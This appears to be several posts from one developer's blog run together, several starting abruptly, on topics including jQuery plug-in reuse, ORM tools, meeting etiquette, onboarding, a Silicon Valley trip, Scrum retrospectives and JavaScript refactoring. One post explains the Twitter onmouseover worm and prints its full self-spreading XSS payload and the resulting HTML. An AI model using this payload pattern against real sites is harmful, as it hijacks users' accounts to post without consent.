Of course this is wasted time. Redoing the same work is against the DRY principle. Code is not being reused.

Why did they not use component XY and instead reprogrammed its functionality from scratch? Here’s the answers I got:

• «I didn’t know that the component XY existed»
• «The component XY is too complicated to use it»
• «What does it do anyways?»
• «I don’t know how to use it»
• «It does not work»

There’s one technology where code reuse works very well. It’s the jQuery plug-in system. In fact I doubt there is anyone using jQuery without using any plug-in. Why’s that?

In this blog post I’d like to analyze why you never have to convince a developer to use a jQuery plug-in. I learned a lot on encouraging code reuse from the jQuery ecosystem.

«I didn’t know that the component XY existed»

When the developer tells you that he didn’t know that someon already programmed a component fulfilling a certain functionality it’s because of a lack of promotion. In jQuery there’s one central plug-in directory which is fount at well-known location. Every jQuery user knows where to look first when looking for some functionality. The directory is being promoted at a prominent location on the jQuery homepage.

So when you want to have your components reused,

• create a directory
• promote the directory – in team meetings, via your internal mailing list etc.

«What does component XY do?»

When the developer has to decide whether to develop something from scratch he is doing a “make or buy decision”. He weights the benefit of using the existing component against the cost of learning how to use and maintain that component.

In jQuery what helps me making this decision the live demonstration of the component. Every jQuery plug-in is required to have a demo (Example from qTip). I’ve seen this strategy in other technologies as well. MongoDB has a online shell where you can try the technology without having to install it first. It’s basically a “try before you buy” offer. Try and get addicted before you go through the painful process of installing, learning and configuring the component.

«It’s too complicated!»

Using the component should not be complicated. The learning curve must be steep. The “user interface” has to be simple. The simplicity of the interface for jQuery plug-ins is obvious. Here’s how to use the jQuery-Fancybox plug-in:

$(element).fancybox()

Does it get any simpler? Zero configuration. Immediate results. The cost of seeing first results is minimal. The developer has a positive first experience.

I try to do the same with the components I want to be reused: A simple interface. They should deliver results without having to configure something first.

«I don’t know how to use it» – Documentation

This one is obvious. The component needs good documentation. A good jQuery plugin like Fancybox offers:

• a tutorial to get the developer started quickly
• a reference – API documentation
• a support forum

Why not doing the same for components you develop internally?

«It does not work» – Quality

Of course the component should have a high quality and deliver the promised results. I am mentioning this at last because IMHO the jQuery plugins are not a very good example for this. The spectrum in terms of quality is very wide. There are plugins with very high quality like jqTouch. But some are just ugly hacks. Nevertheless: The reputation of jQuery plugins in terms of quality is high. So usually you get what you expect.

To have code reused, the quality of the code needs to be high. I try to ensure high quality through unit tests, code reviews and last but not least good developers.

To wrap this up, here’s how I would encourage code reuse:

1. Ensure an easy to use interface
2. Provide good documentation
3. Provide a demonstration
4. Ensure good code quality
5. Promote the components

Here’s how it worked:

The worm is a tweet which contains the following string:

http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit()"
style="color:#000;background:#000;/

Twitter is converting every string that looks like a link to a clickable link. So http://www.google.com is being converted to the following HTML code:

<a href="http://www.google.com">

http://www.google.com

</a>

Now twitter has a flaw which improperly handles quotes and at-signs in URLs. E.g it transforms http://www.google.com@" style="color:red" to

<a href="http://www.google.com@" style="color:red">
    http://www.google.com@" style="color:red"
</a>

In the worm’s case, twitter considers the whole tweet as long URL and transforms it into the following code (breaks added for legibility):

<a
  href="http://a.no/@"
  onmouseover=";$('textarea:first').val(this.innerHTML);
  $('.status-update-form').submit()"
  style="color:#000;background:#000;">
     <!-- regular tweet text starts here -->
     http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);
    $('.status-update-form').submit()"
    style="color:#000;background:#000;/">
    <!-- regular tweet text ends here -->
</a>

So when you hover over the tweet, the following JS is being called:

$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();

This tweet adds the worm’s content into the status update field and submits the data. Neat.

What twitter did to fix it, was to fix their conversion engine to escape the quote after the @ so that the the what follows after @” is not considered anymore as attribute of the a tag.

This shows how important sanitization is when handling user input.

You should know that tilllate is using a self-made “ORM” tool: Our ORM framework maps table columns to object properties. But it is agnostic of relationships between tables. And when you want to write a complex query, you end up programming long lines of native SQL. Unreadable.

ORM tools increase productivity

I brought up the discussion as we have to make technology decisions for a new project. I know Doctrine 1.2 very well from a spare time project. I am very satisfied with it:

• No need to think about how the objects are mapped to the database. You just save() them (or persist() them as Doctrine2 calls the function more accurately). You can navigate along the object graph without caring on what exact SQL statements and DB calls are needed.
• The code is more readable as there is no mix between PHP and SQL
• Because of the query language is integrated in PHP the IDE can help you with autocompletion.
• Useful features like data validation or event listeners (“onSave“, “onCreate“) become possible.

Just like back in 1975

The advocates of the “ORM framework” we’re currently using argue that with an ORM tool hiding all SQL from you you lose control of what happens. Also they are worried about performance. Funny, exactly that’s what developers objected 35 years ago against high-level languages like PL/I or APL when they had to switch from assembler. “It does not let you do what you want and it is slow.” ¹

As to function, after a learning phase I was able to do whatever I wanted to with it.

As to speed, I believe that the additional abstraction layers certainly cause some performance loss. But for one part the loss is absorbed by built-in caching. And for the rest: With the time you save on development and maintenance you can buy additional hardware.

What do you think?

What is your opinion on ORM tools? Is there a way around them when you do OOP? Are there occasions when writing plain SQL makes sense? Or should we forget about relational databases altogether and switch to NoSQL as jpkoenig suggests?

1. Brooks, Frederick P., Jr (1975). “The Mythical Man-Month”. Addison Wesley,  pp. 135

That’s definitely a new world for me. As a newbie, I  have many questions.

1. Why does the Calendar icon always show the current date, while the weather icons sticks to “23° sunny”?
2. What reception problems?
3. How will I ever use up my 1GB of included data transfer if all apps always warn me so politely when I am about to download a big movie over 3G?
4. Will I ever able to enjoy static HTML4-pages anymore after being spoiled by so much eye candy?
5. Why doesn’t every app support landscape mode?
6. What will I do with my old HD video cam? What with my old iPod? What happens to my point-and-shoot camera? And do I need ever need a standalone flashlight anymore?
7. Will I ever be able to write a sentence with the touchscreen keyboard without having to do at least one single correction?
8. Will I need eventually need a new retina because the the text is so tiny in Safari?
9. Will I be more popular now I also jumped on the iPhone bandwagon?
10. Does Steve Jobs own my soul now?

An unusual situation for me as nowadays writing e-mails and surfing the web is an accepted activity during meetings or presentations.

Looking back at the the course the rule completely made sense to me. Provided that the meeting is well run (sadly, that’s rarely the case) there are advantages of banning the distraction. Here’s why:

Multitasking is an illusion

We think that we can read e-mails and listen to the speaker at the same time. We think that we’ll save time that way. However, this is an illusion. Not only is the perceived multitasking basically a switch between multiple tasks done in a sequential order. But also the switching causes considerable costs as the brain is forced to pause and refocus continuously as one switches between tasks.  We don’t save time. We are wasting it. (Source: Wikipedia)

Making decisions is exhausting

If laptops or mobile phones are allowed we are constantly asking ourselves whether we should now check the e-mails or pay attention to the speaker. We are constantly weighting the risk of missing some information the speaker is giving us against the risk of missing a very important e-mail. This constant decision-making process is exhausting. The “No-Laptop” rule relieves you from this tedious work.

Meetings will be shorter

In the case of meetings there is an additional benefit of “no-laptop rule”: People are always attentive. Situations like “oh, could you repeat that please. I wasn’t listening” don’t happen anymore. Participants don’t have to repeat themselves and the meeting will be finished on time. Shorter meetings: Who doesn’t like that?

That’s why in the meetings I run I will encourage the no-laptop rule. It feels old-fashioned. But at the end everyone benefits from it.

In my position as team leader I attach great importance to the first day of work for new members in my team. A good first impression is a foundation for a good relationship with the direct report. Here’s what I do for new employees on their first day:

1. I make sure that his desk, computer, email-account etc. is ready.
2. I organize a welcome card and a small gift if put on his or her desk.
3. I organize an introduction program where the new team member meets someone from every department.
4. I introduce him to every staff member. I am making sure that everyone knows his role. And the he knows what people are relevant to him. Him being able to build an internal network quickly is essential to become productive quickly.
5. I make sure that I am available for him.
6. I organize a lunch with the team.

By observing these points I make sure that the new staff member feels comfortable and welcome. And that he knows what to do. That extra effort is worth it.

1. I am going to leave tilllate by the end of November and I don’t know what will happen with these posts when I am gone. My posts there deserve a safe haven. Here.
2. When someone is googling “Silvan Mühlemann”, currently the first entry is for some boring commercial data register. This blog is supposed to bump that entry from its first position.
3. 140 characters sometimes are just not enough.
4. I love web design and I felt like trying something new myself.
5. www.muehlemann.com was showing an empty page for years now. Such a nice domain needs some content.
6. The kids started to go to bed early and I was bored (well, every parent with kids at the age of mine – 3mo and 2.5yrs – know that I am kidding)

If my kids let me, I will write a new posts. If in August 2011 you still see this entry at this position you know that they didn’t.

1. The hottest topics are Cloud Computing and Green IT.
2. Despite Green IT the average room temperature of a meeting room is never higher than 18°.
3. The bigger the company, the lower the temperature.
4. NASA still works with equipment dating from the fifties
   

   From Silicon Valley Tour 2009

5. “I cannot comment on that”, that was the most heard reply during our visit at Google.
6. Executive Briefing Center are buildings where big corporations try to impress their customers with blinking hardware, PowerPoint presentations and Donuts. These buildings are within safe distance from where the real work is being done..
7. PowerPoint-Slides contain more text than a phone book page.
8. Mozilla Corporation’s pride besides Netscape Memorabilia is their collection of alcoholic beverages.
   

   Silicon Valley Tour 2009

9. Want to meet Google’s Security staff? Then pull your photo camera on their premises (Source: @marcammann).
10. Most corporate buildings have only two stories. This gives the Valley the appeal of a Club Med bungalow village.
11. A real startup owns a room-height white board and a fridge full of free drings.
12. A semester at Standford University costs $20’000 tuition. The main return is a good business network.
    
13. Stanford University has two olympic size swimming pools, a stadium and at 6AM the surrounding hills are full of joggers.
14. Joggers wear cotton shirts. This visualizes the performance in form of sweat stains much better than synthetic fibers of functional clothing.
15. American style partying: Buy a pack of 30 cans of Bud Lite, drink it in the train, on the ferry or in the park. Applies to men and women.
16. One hour of parking in San Francisco goes for $7.50.
    
17. There is public transportation. It’s slow (train goes by 30km/h) and unpunctual
    
18. The variance of customer friendliness is higher than in Switzerland: In some stores you get ignored. In other the clerk treats you as his best friends as soon as he learns that you come from Switzerland.
19. Every other car in the Valley is a Prius.
20. Only the homeless smoke.

Find more pictures here.

The motivation for the sprint retrospective is:

• Visualize the accomplishment – important for the team morale
• Review any impediments and discuss measures on how to avoid them in the next sprint

Here’s how we are structuring the sprint retrospecives:

The set up

The team and the product owner are allocating one hour in the meeting room. We’re looking at the wall with the task board showing the user stories, the burn down chart and the impediment backlog. This is a big paper with a post it for every impediment encountered during the sprint. We collected the impediments during the bi-weekly scrum meetings (aka daily scrum).

Visualize the achievements

First, I go through all done user stories and say a few words about every story. Time for praising the team. Developers often think “we haven’t achieved anything”. So it’s important to visualize the finished user stories.

Getting the metrics

Second, we update the burn down chart and calculate the achieved velocity ([accomplished story points] / [available man days] = [velocity]). In our case we had 74 man days available. We accomplished 38 story points. That’s a velocity of 51%. Better than last time (39%). But still quite low as we committed for 50 story points. Fail. No praise here.

Learning the lessons

Third, we do the the retrospection round: This round is split in two parts.

First, we look at the conclusions from the last sprint retrospection a month ago. Were we able to implement the lessons learned? For example: We found that the product owner Martina did not have enough time to quickly reply to the questions of the team. As a measure we gave her an assistant. Did it help? - “Yes”, the team confirms, “Martina was did have a lower response time than during the former sprint”.. Good.

Then, we go through all the impediments we collected during the daily scrums. We discuss what we can do to avoid them during the next sprint. Example: “The changes on the CSS were much more complicated than expected because our CSS is the mess”. The conclusion is: “We plan a CSS clean-up”.

Results

This meeting took about one hour. The result is:

• key metrics about the past sprint (expected velocity vs. actual velocity etc)
• A list of impediments along with the measures to avoid them during the next sprint

The team now has one day of slack time before we do our third sprint planning on Thursday.

“It’s 99% complete”, I was told. Yeah, right. I counted 2 story points (without looking at the code). Soon I knew I was too optimistic: Classes calling other classes without logic. Randomly named variables. Data, creation of DOM elements, AJAX calls spread all over the place:

Architecture before refactoring (dramatized)

That’s not going to be easy. To make things worse: I am a Javascript beginner. What I did up to now was procedural Javascript code.

I felt the urge to begin everything from scratch. But I remember Joel Spolsky saying that we should resist so I decided to go for a refactoring.

As I know the MVC pattern very well from Zend Framework I tried to apply this pattern. Separation of concern! Each class has a well defined purpose. Here’s the architecture I refactored the code to:

1. Model: All operation on data (i.e. the friends to be selected) is in the classes “ModelFriendListItems” (which aggregates “ModelFriendListItem”). The Ajax request fetching the friend objects from the server is located ther as AJAX is about data.
2. View: The three views for the panes “Parent container”, “All friends” and “selected friends”. DOM manipulation only in these classes.
3. A controller in charge of instancing and controlling the model and the views. The controller handles all events. No AJAX.

Here’s the sum up of the concerns of the parts:

As every class has his well defined concern you quickly know where to look when you need to maintain or extend the control. The name of the class and files reflects the role (ViewAllFriends.js, ModelFriendsListItems.js). Logical event and data flows.

You can try it here. Here’s how the final version looks:

Well… It took much more than the 2 story points I counted in the beginning. But it feels much better having clean code! And my colleagues having to extend this control (Leo?) are surely happy for this clean up

I am sure there are other ways to model a Javascript control. What is your best practice?